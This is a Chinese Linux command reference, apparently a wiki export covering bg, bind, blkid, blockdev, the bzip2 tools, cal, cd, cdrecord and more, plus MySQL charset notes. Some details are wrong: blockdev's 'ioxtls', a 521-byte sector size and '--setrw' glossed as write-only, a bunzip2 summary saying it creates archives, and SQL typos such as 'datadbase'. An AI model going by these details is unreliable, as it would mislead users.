在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。

</div>

!! 语法  

:<div>


```
bg(参数)
```

</div>

!! 参数  

:<div>


作业标识:指定需要放到后台的作业标识号。

</div>

!! 实例  

:<div>


使用bg命令将任务号为1的任务放到后台继续执行,输入如下命令:

```
bg 1            #后台执行任务号为1的任务
```

如果系统中只有一个挂起的任务时,即使不为该命令设置参数"1",也可以实现这个功能。

注意:实际上,使用bg命令与在指令后面添加符号"&"的效果是一样的。例如,使用`&`将`find / -name password`放到后台执行,输入如下命令:

```
find / -name password &     #后台执行任务
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
bind
===

显示或设置键盘按键与其相关的功能

</div>

!! 补充说明

:<div>


"bind命令" 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。

</div>

!! 语法  

:<div>


```
bind(选项)
```

</div>

!! 选项  

:<div>


```
-d:显示按键配置的内容;
-f<按键配置文件>:载入指定的按键配置文件;
-l:列出所有的功能;
-m<按键配置>:指定按键配置;
-q<功能>:显示指定功能的按键;
-v:列出目前的按键配置与其功能。
```

</div>

!! 实例  

:<div>


```
bind -x '"\C-l":ls -l'    #直接按 CTRL+L 就列出目录
```

其中keyseq可以使用`showkey -a`命令来获取:

```
[root@localhost ~]# showkey -a

Press any keys - Ctrl-D will terminate this program

^[[A     27 0033 0x1b  上
         91 0133 0x5b
         65 0101 0x41
^[[B     27 0033 0x1b  下
         91 0133 0x5b
         66 0102 0x42
^[[D     27 0033 0x1b  左
         91 0133 0x5b
         68 0104 0x44
^[[C     27 0033 0x1b 右
         91 0133 0x5b
         67 0103 0x43
         32 0040 0x20
^M       13 0015 0x0d 字母M
^C        3 0003 0x03 Ctrl-C
^D        4 0004 0x04 Ctrl-D 退出
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

/run/blkid/blkid.tab



*NAME<pre>
       blkid - locate/print block device attributes

</pre>
*SYNOPSIS<pre>
       blkid -L label | -U uuid

       blkid [-dghlv] [-c file] [-o format] [-s tag]
             [-t NAME=value] [device ...]

       blkid -p [-O offset] [-o format] [-S size] [-s tag]
                [-n list] [-u list] device ...

       blkid -i [-o format] [-s tag] device ...


</pre>
*DESCRIPTION<pre>
       The blkid program is the command-line interface to working with the libblkid(3) library.  It can determine the type of content (e.g. filesystem or swap) that a block device holds, and also the
       attributes (tokens, NAME=value pairs) from the content metadata (e.g. LABEL or UUID fields).

       It is recommended to use lsblk(8) command to get information about block devices, or lsblk --fs to get an overview of filesystems, or findmnt(8) to search in already mounted filesystems.

              lsblk(8) provides more information, better control on output formatting, easy to use in scripts and it does not require root permissions to get actual information.  blkid reads informa‐
              tion directly from devices and for non-root users it returns cached unverified information.  blkid is mostly designed for system services and to test libblkid functionality.

       When  device  is specified, tokens from only this device are displayed.  It is possible to specify multiple device arguments on the command line.  If none is given, all devices which appear in
       /proc/partitions are shown, if they are recognized.

       blkid has two main forms of operation: either searching for a device with a specific NAME=value pair, or displaying NAME=value pairs for one or more specified devices.

       For security reasons blkid silently ignores all devices where the probing result is ambivalent (multiple colliding filesystems are detected).  The low-level probing  mode  (-p)  provides  more
       information and extra return code in this case.  It's recommended to use wipefs(8) to get a detailed overview and to erase obsolete stuff (magic strings) from the device.

</pre>
*OPTIONS<pre>
       The  size  and offset arguments may be followed by the multiplicative suffixes like KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the "iB" is optional, e.g. "K"
       has the same meaning as "KiB"), or the suffixes KB (=1000), MB (=1000*1000), and so on for GB, TB, PB, EB, ZB and YB.

       -c cachefile
              Read from cachefile instead of reading from the default cache file (see the CONFIGURATION FILE section for more details).  If you want to start with a clean  cache  (i.e.  don't  report
              devices previously scanned but not necessarily available at this time), specify /dev/null.

       -d     Don't encode non-printing characters.  The non-printing characters are encoded by ^ and M- notation by default.  Note that the -o udev output format uses a different encoding which can‐
              not be disabled.

       -g     Perform a garbage collection pass on the blkid cache to remove devices which no longer exist.

       -h     Display a usage message and exit.

       -i     Display information about I/O Limits (aka I/O topology).  The 'export' output format is automatically enabled.  This option can be used together with the -p option.

       -k     List all known filesystems and RAIDs and exit.

       -l     Look up only one device that matches the search parameter specified with the -t option.  If there are multiple devices that match the specified search parameter, then  the  device  with
              the highest priority is returned, and/or the first device found at a given priority.  Device types in order of decreasing priority are: Device Mapper, EVMS, LVM, MD, and finally regular
              block devices.  If this option is not specified, blkid will print all of the devices that match the search parameter.

       -L label
              Look up the device that uses this filesystem label; this is equal to -l -o device -t LABEL=label.  This lookup method is able to reliably use /dev/disk/by-label udev symlinks (dependent
              on a setting in /etc/blkid.conf).  Avoid using the symlinks directly; it is not reliable to use the symlinks without verification.  The -L option works on systems with and without udev.

              Unfortunately,  the  original  blkid(8)  from e2fsprogs uses the -L option as a synonym for -o list.  For better portability, use -l -o device -t LABEL=label and -o list in your scripts
              rather than the -L option.

       -n list
              Restrict the probing functions to the specified (comma-separated) list of superblock types (names).  The list items may be prefixed with "no"  to  specify  the  types  which  should  be
              ignored.  For example:

                blkid -p -n vfat,ext3,ext4 /dev/sda1

              probes for vfat, ext3 and ext4 filesystems, and

                blkid -p -n nominix /dev/sda1

              probes for all supported formats except minix filesystems.  This option is only useful together with -p.

       -o format
              Use the specified output format.  Note that the order of variables and devices is not fixed.  See also option -s.  The format parameter may be:

              full   print all tags (the default)

              value  print the value of the tags

              list   print the devices in a user-friendly format; this output format is unsupported for low-level probing (-p or -i).

                     This output format is DEPRECATED in favour of the lsblk(8) command.

              device print the device name only; this output format is always enabled for the -L and -U options

              udev   print key="value" pairs for easy import into the udev environment; the keys are prefixed by ID_FS_ or ID_PART_ prefixes

                     The  udev  output  returns  the ID_FS_AMBIVALENT tag if more superblocks are detected, and ID_PART_ENTRY_* tags are always returned for all partitions including empty partitions.
                     This output format is DEPRECATED.

              export print key=value pairs for easy import into the environment; this output format is automatically enabled when I/O Limits (-i option) are requested

       -O offset
              Probe at the given offset (only useful with -p).  This option can be used together with the -i option.

       -p     Switch to low-level superblock probing mode (bypassing the cache).

              Note that low-level probing also returns information about partition table type (PTTYPE tag) and partitions (PART_ENTRY_* tags).

       -s tag For each (specified) device, show only the tags that match tag.  It is possible to specify multiple -s options.  If no tag is specified, then all tokens are shown  for  all  (specified)
              devices.  In order to just refresh the cache without showing any tokens, use -s none with no other options.

       -S size
              Override the size of device/file (only useful with -p).

       -t NAME=value
              Search  for block devices with tokens named NAME that have the value value, and display any devices which are found.  Common values for NAME include TYPE, LABEL, and UUID.  If there are
              no devices specified on the command line, all block devices will be searched; otherwise only the specified devices are searched.

       -u list
              Restrict the probing functions to the specified (comma-separated) list of "usage" types.  Supported usage types are: filesystem, raid, crypto and other.  The list items may be  prefixed
              with "no" to specify the usage types which should be ignored.  For example:

                blkid -p -u filesystem,other /dev/sda1

              probes for all filesystem and other (e.g. swap) formats, and

                blkid -p -u noraid /dev/sda1

              probes for all supported formats except RAIDs.  This option is only useful together with -p.

       -U uuid
              Look up the device that uses this filesystem uuid.  For more details see the -L option.

       -V     Display version number and exit.

</pre>
*RETURN CODE<pre>
       If the specified token was found, or if any tags were shown from (specified) devices, 0 is returned.

       If the specified token was not found, or no (specified) devices could be identified, an exit code of 2 is returned.

       For usage or other errors, an exit code of 4 is returned.

       If an ambivalent probing result was detected by low-level probing mode (-p), an exit code of 8 is returned.

</pre>
*CONFIGURATION FILE<pre>
       The standard location of the /etc/blkid.conf config file can be overridden by the environment variable BLKID_CONF.  The following options control the libblkid library:

       SEND_UEVENT=yes|not
              Sends uevent when /dev/disk/by-{label,uuid,partuuid,partlabel}/ symlink does not match with LABEL, UUID, PARTUUID or PARTLABEL on the device.  Default is "yes".

       CACHE_FILE=path
              Overrides the standard location of the cache file.  This setting can be overridden by the environment variable BLKID_FILE.  Default is /run/blkid/blkid.tab, or /etc/blkid.tab on systems
              without a /run directory.

       EVALUATE=methods
              Defines LABEL and UUID evaluation method(s).  Currently, the libblkid library supports the "udev" and "scan" methods.  More than one method may be specified in a  comma-separated  list.
              Default is "udev,scan".  The "udev" method uses udev /dev/disk/by-* symlinks and the "scan" method scans all block devices from the /proc/partitions file.

</pre>
*AUTHOR<pre>
       blkid was written by Andreas Dilger for libblkid and improved by Theodore Ts'o and Karel Zak.

</pre>
*ENVIRONMENT<pre>
       Setting LIBBLKID_DEBUG=0xffff enables debug output.

</pre>
*SEE ALSO<pre>
       libblkid(3), findfs(8), wipefs(8)


    </pre>
*AVAILABILITY<pre>
       The blkid command is part of the util-linux package and is available from ftp://ftp.kernel.org/pub/linux/utils/util-linux/.



</pre>

!!简介
:<div>
blockdev
===

从命令行调用区块设备控制程序

</div>

!! 补充说明

:<div>


"blockdev命令" 在命令调用“ioxtls”函数,以实现对设备的控制。

</div>

!! 语法  

:<div>


```
blockdev(选项)(参数)
```

选项

```
-V:打印版本号并退出;
-q:安静模式;
-v:详细信息模式;
--setro:只读;
--setrw:只写;
--getro:打印只读状态,“1”表示只读,“0”表示非只读;
--getss:打印扇区大小。通常为521;
--flushbufs:刷新缓冲区;
--rereadpt:重新读取分区表。
```

</div>

!! 参数  

:<div>


设备文件名:指定要操作的磁盘的设备文件名。

</div>

!! 实例  

:<div>


设置设备为只读:

```
blockdev --setro /dev/hda4
```

读取设备是否为只读:

```
blockdev --getro /dev/hda4
```

设置设别为可读写:

```
blockdev --setrw /dev/hda4
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bmodinfo
===

显示给定模块的详细信息

</div>

!! 补充说明

:<div>


"bmodinfo命令" 用于显示给定模块的详细信息。

</div>

!! 语法  

:<div>


```
bmodinfo(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:显示模块作者;
-d:显示模块的描述信息;
-l:显示模块的许可信息;
-p:显示模块的参数信息;
-n:显示模块对应的文字信息;
-0:用ASCII码的0字符分割字段值,而不使用新行。
```

</div>

!! 参数  

:<div>


模块名:要显示详细信息的模块名称。

</div>

!! 实例  

:<div>


显示sg模块的信息:

```
[root@localhost ~]# modinfo sg
filename:    /lib/modules/2.6.9-42.ELsmp/kernel/drivers/scsi/sg.ko
author:     Douglas Gilbert
description:  SCSI generic (sg) driver
license:    GPL
version:    3.5.31 B0B0CB1BB59F0669A1F0D6B
parm:      def_reserved_size:size of buffer reserved for each fd
parm:      allow_dio:allow direct I/O (default: 0 (disallow))
alias:     char-major-21-*
vermagic:    2.6.9-42.ELsmp SMP 686 REGPARM 4KSTACKS gcc-3.4
depends:    scsi_mod
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

[[sed与awk(第二版).pdf|http://linux.oh-doc.cn/book/sed%E4%B8%8Eawk%EF%BC%88%E7%AC%AC%E4%BA%8C%E7%89%88%EF%BC%89.pdf]]
;break
:<pre>

```bash
#!/bin/bash
 
sum=0
for (( i=1; i <= 100; i++))
do 
    let "sum+=i"
 
    if [ "$sum" -gt 1000 ]
    then
        echo "1+2+...+$i=$sum"
        break
    fi
done

```
</pre>
!!简介
:<div>
builtin
===

执行shell内部命令

</div>

!! 补充说明

:<div>


"builtin命令" 用于执行指定的shell内部命令,并返回内部命令的返回值。builtin命令在使用时,将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时,使用builtin显式地执行shell内部命令,从而忽略定义的shell函数。

</div>

!! 语法  

:<div>


```
builtin(参数)
```

</div>

!! 参数  

:<div>


shell内部命令:指定需要执行的shell内部命令。

</div>

!! 实例  

:<div>


使用builtin命令执行shell内部命alias显示命令别名,输入如下命令:

```
builtin alias                 #执行shell内部指令
alias cp='cp -i'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
```

上面的命令执行后,将输出当前系统下的命令别名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bunzip2
===

创一个bz2文件压缩包

</div>

!! 补充说明

:<div>


"bunzip2命令" 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。

</div>

!! 语法  

:<div>


```
bunzip2(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件;
-k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,请使用此参数;
-s或——small:降低程序执行时,内存的使用量;
-v或——verbose:解压缩文件时,显示详细的信息;
-l,--license,-V或——version:显示版本信息。
```

</div>

!! 参数  

:<div>


.bz2压缩包:指定需要解压缩的.bz2压缩包。

</div>

!! 实例  

:<div>


将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。

```
bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip
```

压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bye
===

命令用于中断FTP连线并结束程序。。

</div>

!! 补充说明

:<div>


"bye命令" 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。


</div>

!! 语法  

:<div>


```
bye
```

</div>

!! 实例

:<div>


```
bye
```
</div>
!!简介
:<div>
bzcat
===

解压缩指定的.bz2文件

</div>

!! 补充说明

:<div>


"bzcat命令" 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。

</div>

!! 语法  

:<div>


```
bzcat(参数)
```

</div>

!! 参数  

:<div>


.bz2压缩文件:指定要显示内容的.bz2压缩文件。

</div>

!! 实例  

:<div>


将`/tmp/man.config`以bzip2格式压缩:

```
bzip2 -z man.config
```

此时man.config会变成man.config.bz2

将上面的压缩文件内容读出来:

```
bzcat man.config.bz2
```

此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzcmp
===

比较两个压缩包中的文件

</div>

!! 补充说明

:<div>


"bzcmp命令" 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。

</div>

!! 语法  

:<div>


```
bzcmp(参数)
```

</div>

!! 参数  

:<div>


*   文件1:指定要比较的第一个.bz2压缩包;
*   文件2:指定要比较的第二个.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzdiff
===

直接比较两个.bz2压缩包中文件的不同

</div>

!! 补充说明

:<div>


"bzdiff命令" 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程。

</div>

!! 语法  

:<div>


```
bzdiff(参数)
```

</div>

!! 参数  

:<div>


*   文件1:指定要比较的第一个.bz2压缩包;
*   文件2:指定要比较的第二个.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzgrep
===

使用正则表达式搜索.bz2压缩包中文件

</div>

!! 补充说明

:<div>


"bzgrep命令" 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。

</div>

!! 语法  

:<div>


```
bzgrep(参数)
```

</div>

!! 参数  

:<div>


*   搜索模式:指定要搜索的模式;
*   .bz2文件:指定要搜索的.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzip2
===

将文件压缩成bz2格式

</div>

!! 补充说明

:<div>


"bzip2命令" 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。我们遇见Linux压缩打包方法有很多种,以下讲解了Linux压缩打包方法中的Linux bzip2命令的多种范例供大家查看,相信大家看完后会有很多收获。

</div>

!! 语法  

:<div>


```
bzip2(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c或——stdout:将压缩与解压缩的结果送到标准输出;
-d或——decompress:执行解压缩;
-f或-force:bzip2在压缩或解压缩时,若输出文件与现有文件同名,预设不会覆盖现有文件。若要覆盖。请使用此参数;
-h或——help:在线帮助;
-k或——keep:bzip2在压缩或解压缩后,会删除原始文件。若要保留原始文件,请使用此参数;
-s或——small:降低程序执行时内存的使用量;
-t或——test:测试.bz2压缩文件的完整性;
-v或——verbose:压缩或解压缩文件时,显示详细的信息;
-z或——compress:强制执行压缩;
-V或——version:显示版本信息;
--repetitive-best:若文件中有重复出现的资料时,可利用此参数提高压缩效果;
--repetitive-fast:若文件中有重复出现的资料时,可利用此参数加快执行效果。
```

</div>

!! 参数  

:<div>


文件:指定要压缩的文件。

</div>

!! 实例  

:<div>


 "压缩指定文件filename:" 

```
bzip2 filename
或
bzip2 -z filename
```

这里,压缩的时候不会输出,会将原来的文件filename给删除,替换成filename.bz2.如果以前有filename.bz2则不会替换并提示错误(如果想要替换则指定-f选项,例如`bzip2 -f filename`;如果filename是目录则也提醒错误不做任何操作;如果filename已经是压过的了有bz2后缀就提醒一下,不再压缩,没有bz2后缀会再次压缩。

 "解压指定的文件filename.bz2:" 

```
bzip2 -d filename.bz2
或
bunzip2 filename.bz2
```

这里,解压的时候没标准输出,会将原来的文件filename.bz2给替换成filename。如果以前有filename则不会替换并提示错误(如果想要替换则指定`-f`选项,例如`bzip2 -df filename.bz2`。

 "压缩解压的时候将结果也输出:" 

```
$bzip2 -v filename
```

输入之后,输出如下:

```
filename:  0.119:1, 67.200 bits/byte, -740.00% saved, 5 in, 42 out.
```

这里,加上`-v`选项就会输出了,只用压缩举例了,解压的时候同理`bzip2 -dv filename.bz2`不再举例了。

 "模拟解压实际并不解压:" 

```
bzip2 -tv filename.bz2
```

输入之后,输出如下:

```
filename.bz2: ok
```

这里,`-t`指定要进行模拟解压,不实际生成结果,也就是说类似检查文件,当然就算目录下面有filename也不会有什么错误输出了,因为它根本不会真的解压文件。为了在屏幕上输出,这里加上`-v`选项了,如果是真的解压`bzip2 -dv filename.bz2`则输出的是把"ok"替换成了"done"。

 "压缩解压的时候,除了生成结果文件,将原来的文件也保存:" 

```
bzip2 -k filename
```

这里,加上`-k`就保存原始的文件了,否则原始文件会被结果文件替代。只用压缩举例了,解压的时候同理`$bzip2 -dk filename.bz2`不再举例了。

 "解压到标准输出:" 

```
bzip2 -dc filename.bz2
```

输入之后,输出如下:

```
hahahhaahahha
```

这里,使用`-c`指定到标准输出,输出的是文件filename的内容,不会将filename.bz2删除。

 "压缩到标准输出:" 

```
bzip2 -c filename
bzip2: I won't write compressed data to a terminal.
bzip2: For help, type: `bzip2 --help'.
```

这里,使用`-c`指定压缩到标准输出不删除原有文件,不同的是,压缩后的文件无法输出到标准输出。

 "使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):" 

```
bzip2 -- -myfilename
```

这里主要是为了防止文件名中`-`产生以为是选项的歧义。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzip2recover
===

恢复被破坏的.bz2压缩包中的文件

</div>

!! 补充说明

:<div>


"bzip2recover命令" 可用于恢复被破坏的“.bz2”压缩包中的文件。

bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。

</div>

!! 语法  

:<div>


```
bzip2recover(参数)
```

</div>

!! 参数  

:<div>


文件:指定要恢复数据的.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzless
===

增强.bz2压缩包查看器

</div>

!! 补充说明

:<div>


"bzless命令" 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。

</div>

!! 语法  

:<div>


```
bzless(参数)
```

</div>

!! 参数  

:<div>


文件:指定要分屏显示的.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
bzmore
===

查看bzip2压缩过的文本文件的内容

</div>

!! 补充说明

:<div>


"bzmore命令" 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。

</div>

!! 语法  

:<div>


```
bzmore(参数)
```

</div>

!! 参数  

:<div>


文件:指定要分屏显示的.bz2压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
cal
===

显示当前日历或指定日期的日历

</div>

!! 补充说明

:<div>


"cal命令" 用于显示当前日历,或者指定日期的日历。

</div>

!! 语法  

:<div>


```
cal(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-l:显示单月输出;
-3:显示临近三个月的日历;
-s:将星期日作为月的第一天;
-m:将星期一作为月的第一天;
-j:显示“julian”日期;
-y:显示当前年的日历。
```

</div>

!! 参数  

:<div>


```
月:指定月份;
年:指定年份。
```

</div>

!! 实例  

:<div>


单独执行cal命令会打印出日历:

```
[root@localhost ~]# cal
    十二月 2013     
日 一 二 三 四 五 六
 1  2  3  4  5  6  7
 8  9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
```

```
[root@localhost ~]# cal -j
        十二月 2013        
  日   一   二   三   四   五   六
335 336 337 338 339 340 341
342 343 344 345 346 347 348
349 350 351 352 353 354 355
356 357 358 359 360 361 362
363 364 365
```

```
[root@localhost ~]# cal -3
    十一月 2013           十二月 2013            一月 2014      
日 一 二 三 四 五 六  日 一 二 三 四 五 六  日 一 二 三 四 五 六
                1  2   1  2  3  4  5  6  7            1  2  3  4
 3  4  5  6  7  8  9   8  9 10 11 12 13 14   5  6  7  8  9 10 11
10 11 12 13 14 15 16  15 16 17 18 19 20 21  12 13 14 15 16 17 18
17 18 19 20 21 22 23  22 23 24 25 26 27 28  19 20 21 22 23 24 25
24 25 26 27 28 29 30  29 30 31              26 27 28 29 30 31  
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
cancel
===

取消已存在的打印任务

</div>

!! 补充说明

:<div>


"cancel命令" 用于取消已存在的打印任务。

</div>

!! 语法  

:<div>


```
cancel(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:取消所有打印任务;
-E:当连接到服务器时强制使用加密;
-U:指定连接服务器时使用的用户名;
-u:指定打印任务所属的用户;
-h:指定连接的服务器名和端口号。
```

</div>

!! 参数  

:<div>


打印任务号:指定要取消的打印任务编号。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;CASE
:<pre>

```bash
#!/bin/sh 
 
case $1 in
start | begin)
    echo "I am started!"  
    ;;
stop | end)
    echo "I am stopped!"  
    ;;
*)
    echo "Other command!"  
    ;;
esac

```
</pre>

;实例
:<pre>

```bash
#!/bin/bash #
a=20 #定义变量值
case $a in         #若变量在下面的某值中,则执行它下面的命令
    10)         #值内容 可以加上 | ,可以有多个值
{
    echo "the a is 10"         #执行输出命令
    echo "over"         #执行输出命令
}
;;         #注意这是两个 ;;
20 |30)         #值内容 可以加上 | ,可以有多个值
{
    echo "the a is 20" #执行输出命令
    echo "over" #执行输出命令
}
;;
*)         #默认匹配内容,如以上都不匹配,则执行这条
echo "hello" #执行输出内容
;;
esac         #结束
echo "test case end"         #输出内容
```
</pre>
* cat [OPTION]... [FILE]...
    ** -E: 显示行结束符$
    ** -n: 对显示出的每一行进行 编号
    ** -A :显示所有控制符
    ** -b: : 非空行编号
    ** -s :压缩连续的空行成一行
`切换用户当前工作目录`

!! 简介

:<div>


"cd命令" 用来切换工作目录至dirname。 其中dirName表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的home directory(也就是刚login时所在的目录)。另外,`~`也表示为home directory的意思,`.`则是表示目前所在的目录,`..`则表示目前目录位置的上一层目录。

</div>

!! 语法  

:<div>


```
cd (选项) (参数)
```

</div>

!! 选项  

:<div>


```
-p 如果要切换到的目标目录是一个符号连接,直接切换到符号连接指向的目标目录
-L 如果要切换的目标目录是一个符号的连接,直接切换到字符连接名代表的目录,而非符号连接所指向的目标目录。
- 当仅实用"-"一个选项时,当前工作目录将被切换到环境变量"OLDPWD"所表示的目录。
```

</div>

!! 实例  

:<div>


```
cd    进入用户主目录;
cd ~  进入用户主目录;
cd -  返回进入此目录之前所在的目录;
cd ..  返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思);
cd ../..  返回上两级目录;
cd !$  把上个命令的参数作为cd参数使用。
```
</div>
!!简介
:<div>
cdrecord
===

Linux系统下光盘刻录功能命令

</div>

!! 补充说明

:<div>


"cdrecord命令" 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。

</div>

!! 语法  

:<div>


```
cdrecord(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-v:显示刻录光盘的详细过程;
-eject:刻录完成后弹出光盘;
speed=<刻录倍速>:指定光盘刻录的倍速;
dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机的设备号;
-scanbus:扫描系统中可用的刻录机。
```

</div>

!! 参数  

:<div>


ISO文件:指定刻录光盘使用的ISO映像文件。

</div>

!! 实例  

:<div>


查看系统所有 CD-R(w) 设备:

```
cdrecord -scanbus
scsibus0:
  0,0,0     0) *
  0,1,0     1) *
  0,2,0     2) *
  0,3,0     3) 'HP      ' 'CD-Writer+ 9200 ' '1.0c' Removable CD-ROM
```

用iso文件刻录一张光盘:

```
cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
```

参数解释

*   -v:显示刻录光盘的详细过程
*   -eject:刻完自动弹出光盘
*   speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。

擦写光驱:

```
cdrecord --dev=0,3,0 --blank=fast
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* `chage [OPTION]... LOGIN`
            ** -d LAST_DAY
            ** -E --expiredate EXPIRE_DATE
            ** -I --inactive INACTIVE
            ** -m --mindays MIN_DAYS
            ** -M --maxdays MAX_DAYS
            ** -W --warndays WARN_DAYS
            ** –l 显示 密码策略 
!!01. 查看字符集(character_set/collation)
:<div>

```sql
use information_schema;
desc tables;    --一定记住tables表,information_schema中的metadata都可以查到

-- 查看db的默认,DEFAULT_CHARACTER_SET_NAME/DEFAULT_COLLATION_NAME
select * from schemata where schema_name = 'db_name';

-- 查看table的,只有table_collation字段
select * from tables where table_schema = 'db_name' and table_name = 'table_name';

-- 查看column的,CHARACTER_SET_NAME/COLLATION_NAME都要
select * from columns where table_schema = 'db_name' and table_name = 'table_name';


/*
查看各character set的collation,以gbk为例
gbk_chinese_ci是"大小写不敏感",ci是case sensitive的缩写
gbk_bin是"大小写敏感",以二进制(binary)存储
*/
select * from information_schema.collations;
show collation;
1809 

show variables like 'character_set%';   --查看当前环境的character_set
```

</div>

!! 02. my.cnf
:<div>

```sql
-- 注意位置,放在[client]和[mysql]都可以,效果相同,以后面的为准。放在[mysqld]下服务不能启动。
default-character-set = utf8

-- 上句设置之后,对应的全局变量改变
character_set_client = utf8
character_set_connection = utf8 
character_set_results = utf8

-- 注意位置,放在[mysqld]下
character-set-server = gbk
collation-server = gbk_bin

-- 上句设置之后,对应的全局变量改变
character_set_database = gbk 
character_set_server = gbk    --默认的create database db时的character_set,其他的含义待测试,可根据字面单词猜想
collation_database = gbk_bin
collation_server = gbk_bin
```
</div>

!! 03. database

:<div>

```sql
-- 默认db的character_set和@@character_set_server一致,table和db一致,column和table一致
create database db;


-- defalut可有可无,注意gbk的default collation(上面有)是gbk_chinese_ci(大小写不敏感)
-- 即使collation_database/server都是gbk_bin,创建的db默认仍是gbk_chinese_ci,这里专门指定
create datadbase db character set gbk collate gbk_bin;
create datadbase db default character set gbk collate gbk_bin;  --正确
alter datadbase db character set gbk collate gbk_bin;       --正确

alter datadbase db convert to character set gbk collate gbk_bin;    --错误,不支持convert to

```
</div>

!! 04. table

:<div>

```sql
create table t1(c1 varchar2) character set gbk collate gbk_chinese_ci;
-- 测试
insert into t1 values('a');
select * from t1 where c1 = 'A';    --返回'a',此时'a'='A'

--注意以下两种方法的差别,第1句是只是修改默认
alter table t1 character set gbk collate gbk_bin;   --提示Records: 0

--测试
alter table t1 add c2 varchar(50);
insert into t1 values('b','b');
select * from t1 where c1 = 'A';    --返回'a',c1仍然是gbk_chinese_ci
select * from t1 where c2 = 'B';    --返回empty,c2是gbk_bin

--已有字段c1,c2及再添加的默认都是gbk_bin
alter table t1 convert to character set gbk collate gbk_bin;    --提示Records: 1
```
</div>

!! 05. clunm

:<div>

```sql

-- 套路相同
alter table add c1 varchar(50) character set gbk collate gbk_bin;
alter table t1 change c1 c1 varchar(50) character set gbk collate gbk_bin;
```
<div>
*attributes
    ** append only (a), 
    ** no atime updates (A), 
    ** compressed (c), 
    ** no copy on write (C), 
    ** no dump (d), 
    ** synchronous  direc‐tory  updates  (D),  
    ** extent format (e), 
    ** immutable (i), 
    ** data journalling (j), 
    ** secure deletion (s), 
    ** synchronous updates (S), 
    ** no tail-merging (t), 
    ** top of directory hierarchy (T), 
